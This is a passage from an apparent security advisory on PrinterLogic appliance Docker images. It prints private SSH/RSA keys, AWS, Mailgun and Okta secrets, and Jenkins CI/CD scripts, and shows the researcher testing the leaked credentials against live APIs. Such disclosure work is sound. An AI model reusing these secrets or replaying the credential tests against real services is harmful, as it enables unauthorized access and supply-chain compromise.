g+WUDhXuaJzleAW2e3w/aTxwSQkmMUFQAAAMEAzT/kKt5Ol0byq+OZPbxBXvXrqYvPU54h fbLt/kJLe7O112ts0v8NprrdChql052Ma+WLFFZDv6W/lVpFYTqbIhDfqBNmPBA2LAFDGG +kSAHO6+aUadPflF+76g57+8REdVwQwRyxIfYDMlmhMhZtmaT5eJnJC0bZYCgwaUmm/iNM m7FQ+Zjh+kQmvAi74lYyy/9pE+LHqGp7EHJXr9hljwWHivEJcjYunMgur5eJIRAwnZlNkt h30NQI0QFWZrEFAAAAAAEC -----END OPENSSH PRIVATE KEY----- kali% kali% cat e4eef378452637b12bdf3be4b094dbf31815aa135eac4bd32f705cd74e890909 -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- kali% cat f8b7e55b72b82e3dcfc3801441522e87cf9b3a9c8bc10e66ad7ba421ee5cac9c -----BEGIN RSA PRIVATE KEY----- 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 -----END RSA PRIVATE KEY----- kali% These keys are used in shellscripts: Content of `./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh`: [code:shell] kali% cat ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/microservice-sdk-pkg/.docker-config/entrypoint.sh ... cd /var/www/app # We need the build key in our dev environment for running some npm stuff; we have access to the key already because # we are running in our bind-mounted source volume mkdir -p /root/.ssh/ cp /var/www/app/.docker-config/buildkey/key /root/.ssh/id_rsa chmod 600 /root/.ssh/id_rsa [/code] They may also be used for Bitbucket and Github. For example, it is possible to extract private information about repositories hosted by Bitbucket. Content of `./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config`: kali% less ./078f952821d4306172dbb709574c8db80770a13f649d62863b65597b32d0f294/var/www/vendor/printerlogic/ms-auth-key-pkg/.git/config [core] repositoryformatversion = 0 filemode = true bare = false logallrefupdates = true [remote "origin"] url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git fetch = +refs/heads/*:refs/remotes/origin/* [branch "develop"] remote = origin merge = refs/heads/develop [remote "composer"] url = git@bitbucket.org:printerlogicDev/ms-auth-key-pkg.git fetch = +refs/heads/*:refs/remotes/composer/* If these keys are used for specific access, an attacker can use them for lateral movements and compromise the Vasion PrinterLogic infrastructure. ## Details - Hardcoded AWS secret key and Presence of CI/CD scripts The Docker instances contain hardcoded AWS secret API keys. The remaining docker data from previously installed instances also contain scripts regarding Continuous Integration and Continuous Deployment (CI/CD), with configuration of remote Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com). Using valid AWS secret keys, an attacker can compromise Jenkins servers and ultimately compromise customers using Supply Chain attack. Extraction of AWS secret key. Hardcoded AWS keys in `Readme.md`, `.env` and `.env.local` files: root@printerlogic:/var/lib/docker/overlay2/b824f2e313d90952d397bc61401bff229c6feea92597b8d37758b959b08d2ffa/merged/var/www/app# less Readme.md AWS_ACCESS_KEY_ID: AKIAJ5I5ZX5VQ43PMYIQ AWS_DEFAULT_REGION: us-west-2 AWS_QUEUE_NAMESPACE: 709423830911 AWS_QUEUE_PREFIX: service-pi_ AWS_SECRET_ACCESS_KEY: (secret key is here) QUEUE_DRIVER: sqs root@printerlogic:~# docker exec -it f0e85e3f453e bash root@f0e85e3f453e:/var/www/app# printenv AWS_DEFAULT_REGION=us-west-2 AWS_QUEUE_PREFIX=appliance_ AWS_SECRET_ACCESS_KEY= AWS_DB_BACKUP_BUCKET=appliance-storage-01-us-west-2-dbbackups AWS_ACCOUNT_ID= AWS_ACCESS_KEY_ID= AWS_QUEUE_NAMESPACE=453267620913 root@6eff9ad21815:/var/www/app# cat .env.local # # Environment variables expected by config/aws.php and config/queue.php # Docker will set them at container runtime # # AWS variables only apply when QUEUE_CONNECTION=sqs #AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ #AWS_SECRET_ACCESS_KEY=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 #AWS_DEFAULT_REGION=us-west-2 #AWS_QUEUE_PREFIX=local_ #AWS_QUEUE_NAMESPACE=453267620913 AWS_ROLE_ARN=arn:aws:iam::${INSTANCE_ACCOUNT_ID:-}:role/engineering/services/pl-migrations-${PRINTERCLOUD_DOMAIN} root@5513823753ee:/var/www/app# cat .env #AWS_ACCESS_KEY_ID=AKIAIWHNML7OFS67RVKQ #AWS_SECRET_ACCESS_KEY=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 cat ./out-images/ca4c2c2f1d1ae20e040f645497fadeb96292efc22af690ae5d6f78629c9d80a5/var/www/app/.env.local # Docker will set them at container runtime - local environments use database queues, not AWS # # AWS_ACCESS_KEY_ID=SECRETS_DO_NOT_BELONG_HERE # AWS_SECRET_ACCESS_KEY=SECRETS_DO_NOT_BELONG_HERE AWS_DEFAULT_REGION=us-west-2 AWS_DB_BACKUP_BUCKET=pl-pi-db-backup # AWS_QUEUE_PREFIX=local_ # AWS_QUEUE_NAMESPACE=453267620913 Laravel may use these keys to store data. Content of the `filesystems.php` configuration file for Laravel: [code:php] kali% cat ./www/app/config-laravel/filesystems.php 's3DbBackup' => [ 'driver' => 's3', 'key' => env('AWS_ACCESS_KEY_ID'), 'secret' => env('AWS_SECRET_ACCESS_KEY'), 'region' => env('AWS_DEFAULT_REGION', 'us-west-2'), 'bucket' => env('AWS_DB_BACKUP_BUCKET'), ], [/code] When testing these keys, luckily they do not work: kali% aws configure AWS Access Key ID [None]: AKIAIWHNML7OFS67RVKQ AWS Secret Access Key [None]: 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 Default region name [None]: us-west-2 Default output format [None]: json kali% aws s3 ls An error occurred (InvalidAccessKeyId) when calling the ListBuckets operation: The AWS Access Key Id you provided does not exist in our records. When trying to find other credentials, it appears some AWS buckets are defined in shell scripts: Grepping `BUCKET` in the Docker instances: ./out-images/10daa560935d018324043b3ae4110cc94d91e24ab756da94634f6106b2f69ec6/var/www/app/.env:AWS_DB_BACKUP_BUCKET=pl-pi-db-backup ./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/base/app.env:AWS_DB_BACKUP_BUCKET="${ENVIRONMENT:-prod}-storage-01-${REGION:-us-west-2}-dbbackups" ./out-images/f9380ebd8863a503cfb6f1864cfd46dc28611d1e35c7569fc26eb07700c41f63/opt/pc-sys/env/overlays/service-stack/app.env:AWS_DB_BACKUP_BUCKET=service-${LOCAL_SERVICE}-${REGION:-us-west-2}-dbbackups This list is not exhaustive and it is recommended to review every Docker instance. - From the script `get-aws-secret.sh`, it appears the solution uses AWS Secret Manager to retrieve username and password of the PrinterLogic Jenkins servers (buildmaster-01.pl-labs.com and buildmaster-02.pl-labs.com): [code:shell] root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# grep get-aws-secret.sh * aws-mon.sh: JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username) aws-mon.sh: JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password) aws-mon.sh: JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id) root@printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# cat get-aws-secret.sh #!/bin/bash SECRET_ID=$1 SECRET_KEY=$2 if [[ -z "${SECRET_ID}" ]] ; then echo "You must specify the secret id and key (in that order)" && exit 1 fi if [[ -z "${SECRET_KEY}" ]] ; then echo "You must specify the secret id and key (in that order)" && exit 1 fi # Get the secret SECRET_VALUE=$(aws secretsmanager --output text get-secret-value --secret-id ${SECRET_ID} | awk '{print $4}' | jq -r ".${SECRET_KEY}") if [[ $? -gt 0 ]] || [[ -z "${SECRET_VALUE}" ]] ; then echo "Unable to find a value for id: '${SECRET_ID}' and key: '${SECRET_KEY}'" && exit 1 fi # Release the hounds! echo ${SECRET_VALUE} [/code] After analyzing some shell scripts present in Docker instances, the scripts are also used to execute code on remote Jenkins instances: Managing buildmaster-01.pl-labs.com: [code:shell] kali% pwd /home/user/printerlogic/updates/out/out-images/4ecc6d1307c1c74ddccbdc983b2fe024742ec0531265255b5730dcb5afc0fa52 kali% less opt/build/bin/lifecycle-hook-watch.sh #!/bin/bash -l JENKINS_URL=buildmaster-01.pl-labs.com # How long to wait for jenkins jobs to complete before forcefully killing the instance WAIT_MINUTES=45 # Get Jenkins secret info JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username) JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password) JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id) if [[ -z "${JENKINS_USERNAME}" ]] || [[ -z "${JENKINS_PASSWORD}" ]] || [[ -z "${JENKINS_CREDENTIAL_ID}" ]]; then echo "Missing one or more of jenkins username/password/credential_id" && exit 1 fi # Get a temporary token so we can make a curl requests to jenkins JENKINS_TOKEN=$(curl -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} ''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)') if [[ $? -gt 0 ]] || [[ -z "${JENKINS_TOKEN}" ]]; then echo "Unable to retrieve a token from the jenkins master" && exit 1 fi ... # Mark this node offline so it won't take more jobs echo "Taking node $INSTANCE_IP offline" curl -X POST -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/toggleOffline?offlineMessage=ScalingDown # Check for jobs running on this node, wait if necessary i=0; until [ $i -ge $WAIT_MINUTES ]; do RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/loadStatistics/api/json?depth=2) BUSY_EXECS=$(echo $RESP | jq '.busyExecutors.sec10.latest') ... Remove node from Jenkins entirely curl -X POST -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${JENKINS_TOKEN}" ${JENKINS_URL}/computer/linux-build-${INSTANCE_IP}/doDelete [/code] Executing code on buildmaster-01.pl-labs.com: [code:shell] kali% less opt/build/bin/register-node.sh JENKINS_URL="http://jenkins.pl-labs.com" NODE_IP="${INSTANCE_IP}" ... JENKINS_USERNAME=$(get-aws-secret.sh jenkins_access username) JENKINS_PASSWORD=$(get-aws-secret.sh jenkins_access password) JENKINS_CREDENTIAL_ID=$(get-aws-secret.sh jenkins_access credential_id) ... curl -v -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" -d 'script= import hudson.model.Node.Mode import hudson.slaves.* import jenkins.model.Jenkins import hudson.plugins.sshslaves.SSHLauncher import hudson.plugins.sshslaves.verifiers.* SshHostKeyVerificationStrategy hostKeyVerificationStrategy = new NonVerifyingKeyVerificationStrategy() DumbSlave dumb = new DumbSlave("'${NODE_NAME}'", "'"${NODE_DESC}"'", "/home/jenkins", "'"${NODE_EXECUTORS}"'", Mode.EXCLUSIVE, "'"${NODE_LABELS}"'", new hudson.plugins.sshslaves.SSHLauncher("'"${NODE_HOST}"'", 22, "'"${JENKINS_CREDENTIAL_ID}"'", null, null, "", "", 210, 0, 0, hostKeyVerificationStrategy), RetentionStrategy.INSTANCE) Jenkins.instance.addNode(dumb) ' ${JENKINS_URL}/script [/code] Some scripts allow monitoring Jenkins, e.g.: Monitoring a Jenkins server: [code:shell] printerlogic:/var/lib/docker/overlay2/8a3ab41bb86c5ad10915b7a9840fcd4584b7cb2761b653856d81626025dcc1a9/diff/opt/bin# vi aws-mon.sh 25 instanceid=${INSTANCE_ID} 26 azone=${INSTANCE_AZ} 27 region=${REGION} 28 export EC2_REGION=$region [...] 671 if [ $JENKINS_BUILD_EXECUTORS -eq 1 ]; then 672 JENKINS_URL=buildmaster-01.pl-labs.com 673 LOCAL_IP=$(hostname --ip-address) 674 675 # Get Jenkins secret info 676 JENKINS_USERNAME=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access username) 677 JENKINS_PASSWORD=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access password) 678 JENKINS_CREDENTIAL_ID=$(/var/www/cicd-linux-ops/bin/get-aws-secret.sh jenkins_access credential_id) 679 if [[ -z "${JENKINS_USERNAME}" ]] || [[ -z "${JENKINS_PASSWORD}" ]] || [[ -z "${JENKINS_CREDENTIAL_ID}" ]]; then 680 echo "Missing one or more of jenkins username/password/credential_id" && exit 1 681 fi 682 683 # Get a temporary token so we can make a curl call to register this node 684 TOKEN=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} ''${JENKINS_URL}'/crumbIssuer/api/xml?xpath=concat(//crumbRequestField,":",//crumb)') 685 if [[ $? -gt 0 ]] || [[ -z "${TOKEN}" ]]; then 686 echo "Unable to retrieve a token from the jenkins master" && exit 1 687 fi 688 689 # Gather statistics for this build node 690 RESP=$(curl -s -u ${JENKINS_USERNAME}:${JENKINS_PASSWORD} -H "${TOKEN}" ${JENKINS_URL}/computer/linux-build-${LOCAL_IP}/loadStatistics/api/json?depth=2) 691 avail_ex=$(echo $RESP | jq '.availableExecutors.sec10.latest') 692 busy_ex=$(echo $RESP | jq '.busyExecutors.sec10.latest') 693 queue_length=$(echo $RESP | jq '.queueLength.sec10.latest') 694 if [ $VERBOSE -eq 1 ]; then 695 echo "Available executors: $avail_ex" 696 echo "Busy executors: $busy_ex" 697 echo "Queue length: $queue_length" 698 fi 699 if [ $VERIFY -eq 0 ]; then 700 aws cloudwatch put-metric-data --metric-name "JenkinsAvailableExecutors" --value "$avail_ex" --unit "Count" $CLOUDWATCH_OPTS 701 aws cloudwatch put-metric-data --metric-name "JenkinsBusyExecutors" --value "$busy_ex" --unit "Count" $CLOUDWATCH_OPTS 702 aws cloudwatch put-metric-data --metric-name "JenkinsQueueLength" --value "$queue_length" --unit "Count" $CLOUDWATCH_OPTS 703 fi [/code] Storing AWS keys in the solution is not a normal situation. If these keys work, attackers can use them to compromise infrastructures and start a supply chain attack against customers. The CI/CD scripts provide a lot of information to attackers and can be used for lateral movement in order to compromise the PrinterLogic infrastructure. ## Details - Hardcoded Mailgun credentials It is possible to extract Mailgun secret keys from .env files: root@printerlogic:/var/lib/docker/overlay2# docker exec -it 5513823753ee bash root@5513823753ee:/var/www/app# cat .env [...] MAILGUN_DOMAIN=mg.printerlogic.com MAILGUN_SECRET=key-d5f3073e938dd40c6a0bda511078a5e8 After testing this API key using the example provided in https://documentation.mailgun.com/en/latest/quickstart-sending.html#send-via-api, the API seems to be inactive: kali% curl -s --user 'api:key-d5f3073e938dd40c6a0bda511078a5e8' \ https://api.mailgun.net/v3/mg.printerlogic.com/messages \ -F from='Excited User ' \ -F to=[redacted]@[redacted] \ -F subject='Hello' \ -F text='Testing API key - report PrinterLogic VA' Forbidden kali% curl -s --user 'api:d5f3073e938dd40c6a0bda511078a5e8' \ https://api.mailgun.net/v3/mg.printerlogic.com/messages \ -F from='Excited User ' \ -F to=[redacted]@[redatected] \ -F subject='Hello' \ -F text='Testing API key - report PrinterLogic VA' Forbidden While this API key is disabled, it is recommended not to store secret keys in Docker instances. ## Details - Hardcoded OKTA Private key Okta is a trusted platform for Single Sign-On. An Okta private key was found along with configuration options in .env files: kali% grep -i okta **/.env local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY" API_OKTA_URL=http://okta.printercloud local secrets="DB_PASSWORD LACEWORK_TOKEN DATADOG_LICENSE OKTA_API_KEY MC_API_PASSWORD MS_AUTH_KEY APP_AWS_SECRET_ACCESS_KEY" OKTA_API_KEY=00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ# PHP_IDE_CONFIG identifies the code base to PhpStorm while debugging OKTA_BASE_URL=https://vasion.okta.com/ OKTA_CLIENT_ID=${WILDEPRINTERS_OKTA_CLIENT_ID:-} OKTA_CLIENT_SECRET=${WILDEPRINTERS_OKTA_CLIENT_SECRET:-} OKTA_LOGOUT_REDIRECT_URI=${PRINTERCLOUD_SCHEME:-https}://migration.${PRINTERCLOUD_APP_DOMAIN}/ OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com} OKTA_TENANT_URL=https://acme2.oktapreview.com API_OKTA_URL=http://okta.printercloud API_OKTA_URL=https://okta OKTA_BASE_URL=https://vasion.okta.com/ OKTA_TENANT_URL=${OKTA_TENANT_URL:-https://printerlogicops-admin.okta.com} OKTA_TENANT_URL=https://acme2.oktapreview.com # The OKTA_TENANT_URL is currently set in the secrets file for each environment # Okta Microservice API API_OKTA_URL=https://okta API_OKTA_VERIFYSSL=false After testing this API key, it appears not to be valid: kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://vasion.okta.com/api/v1/meta/types/user {"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaetRN3rSwbROWcHTQRT7uQpA","errorCauses":[]} kali% curl -s -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://printerlogicops-admin.okta.com/api/v1/meta/types/user {"errorCode":"E0000011","errorSummary":"Invalid token provided","errorLink":"E0000011","errorId":"oaezEnKwIo6Rsyu6lRJCuu7Jg","errorCauses":[]} kali% curl -s -kv -H "Authorization: SSWS 00ePtVAhUmRPp3DkxP1YIPrnQQHjocNs3M3p_NzYlQ" https://acme2.oktapreview.com/api/v1/meta/types/user 